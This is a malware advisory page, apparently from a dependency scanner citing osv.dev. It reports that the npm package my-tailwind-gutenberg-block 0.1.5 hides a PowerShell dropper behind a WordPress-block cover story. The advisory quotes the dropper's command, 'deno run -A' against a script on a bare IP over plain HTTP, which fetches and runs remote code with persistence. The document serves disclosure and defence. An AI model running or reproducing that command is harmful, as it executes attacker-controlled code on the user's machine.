npm

my-tailwind-gutenberg-block @0.1.5

Vulnerability report · Last retrieved from osv.dev August 5, 2026 at 1:58 AM UTC

Malicious

OSV ID

MAL-2026-10761

Ecosystem

npm

Summary

The package advertises itself as a WordPress Gutenberg + Tailwind block scaffold (src/edit.js, src/save.js, block.json), but the tarball also contains setup.ps1, an undocumented PowerShell script unrelated to the stated purpose. When run, setup.ps1 installs Scoop, winget, and the Deno runtime on the user's Windows host, then invokes deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js — executing unpinned, unverified JavaScript fetched over plain HTTP from a bare IP with all Deno permissions granted (filesystem, network, environment, subprocess). Comments in the script self-describe the fetched code as a launcher-1 eval-loop that pulls launcher-2, which then sets up autorun and runs a main payload, indicating persistence. The mismatch between the advertised WordPress-block purpose and a Windows runtime dropper is a cover-story pattern; the bare-IP plain-HTTP delivery of a mutable script under a fully-permissioned alternate runtime is an install-time remote-code-execution vector against any developer who runs setup.ps1.

Source: amazon-inspector (8ba41c0d8f447e47febb6ceed2c87681bb0f518b74d42d898e024a7ab4418f61)

Protect your entire dependency tree

Scan your lock files automatically on every PR. Block malicious packages before they reach production.